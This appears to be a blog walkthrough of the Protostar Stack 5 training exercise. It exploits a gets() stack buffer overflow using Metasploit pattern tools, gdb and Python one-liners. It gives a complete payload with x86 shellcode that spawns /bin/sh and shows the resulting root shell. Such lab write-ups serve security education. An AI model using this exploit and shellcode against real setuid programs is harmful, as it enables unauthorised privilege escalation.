Exploit Exercises — Protostar Stack 5

January 8, 2017

The first four levels of protostar were pretty straightforward and real bufferoverflows starts with the 5th. This is a description of how I completed it.

We have the following code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

It creates a buffer and reads into it using gets. There's a buffer overflow vulnerability here, because boundaries are not checked during reading into buffer.

We begin exploitation by finding an offset to eip. I used a script that generates a unique string, which we then pass to the executable:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Now we generate a simple pattern.txt file, containing generated pattern:

$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/pattern.txt

Then we run stack5 in gdb and use pattern.txt as input:

$ gdb stack5
...
(gdb) r < /tmp/pattern.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/pattern.txt

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

It should segfault at 0x63413563. Now we search for these bytes in the pattern:

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76

The output above means that we need to rewrite 76 bytes before rewriting eip.

Now we generate our test exploit, which looks like JUNK + RET + NOPS + SHELLCODE:

$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + 'SHELLCODE'" > /tmp/exploit.txt

We can see that our nops and SHELLCODE string are at 0xbffff6a0

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffff6a0:	0x9090	0x9090	0x9090	0x9090	0x9090	0x4853	0x4c45	0x434c
0xbffff6b0:	0x444f	0x0045	0xffff	0xffff	0xeff4	0xb7ff	0x8232	0x0804
0xbffff6c0:	0x0001	0x0000	0xf700	0xbfff

I tried using shellcodes I found on shellstorm. It crashed at the point where it tried to read input. My guess is that bash/dash checks for this and just silently exits when something is wrong with stdin. So I used a shellcode from here. It reopens stdin, so it should work fine.

So we modify exploit.txt file with the correct return address and the shellcode.

$ python -c "print 'A'*76 + '\xa0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

After running stack5 with exploit.txt as input inside gdb we fall into sh:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Executing new program: /bin/dash
$

The exploit worked in gdb, but when I tried to run it from my console it gave me segfault:

$ /opt/protostar/bin/stack5 < /tmp/exploit.txt
Segmentation fault

After a while, I found out that addresses inside and outside of gdb are different. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This artifact occurs because the operating system loader places both environment variables and program arguments before the beginning of the stack:

For example if we look at variables loaded in gdb we see some artifacts:

(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
LINES=24
COLUMNS=106

At the end, we can see two variable which is not common for normal execution. To match stacks, I just unset them using the following commands:

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb

Now if we run our program in gdb we got error like the previous one. It says we had wrong return address:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0xbffff6bc in ?? ()

Now we needed to find the correct return address again. We generate new exploit.txt with BBBB instead of return address:

$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

Don't forget to unset these environment variables:

(gdb) unset env LINES
(gdb) unset env COLUMNS

Run stack5 with our exploit.txt file and examine stack after the program crashes:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/10x $esp
0xbffff6c0:	0x90909090	0x90909090	0xc0319090	0x06b0db31
0xbffff6d0:	0x685380cd	0x7974742f	0x65642f68	0x31e38976
0xbffff6e0:	0x12b966c9	0xcd05b027

Our shellcode (which has nops at the beginning) starts at 0xbffff6c0 Thus this address is a return address we need.

There's a difference between calling ./stac5k and /path/to/stack5: since argv[0] holds the program exactly how you invoked it, you need to ensure equal invocation strings. gdb uses absolute pathes for calling programs. That's why you need to use /path/to/stack.

Now we can run our exploit:

$ (python -c "print 'A'*76 + '\xc0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'";cat;) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root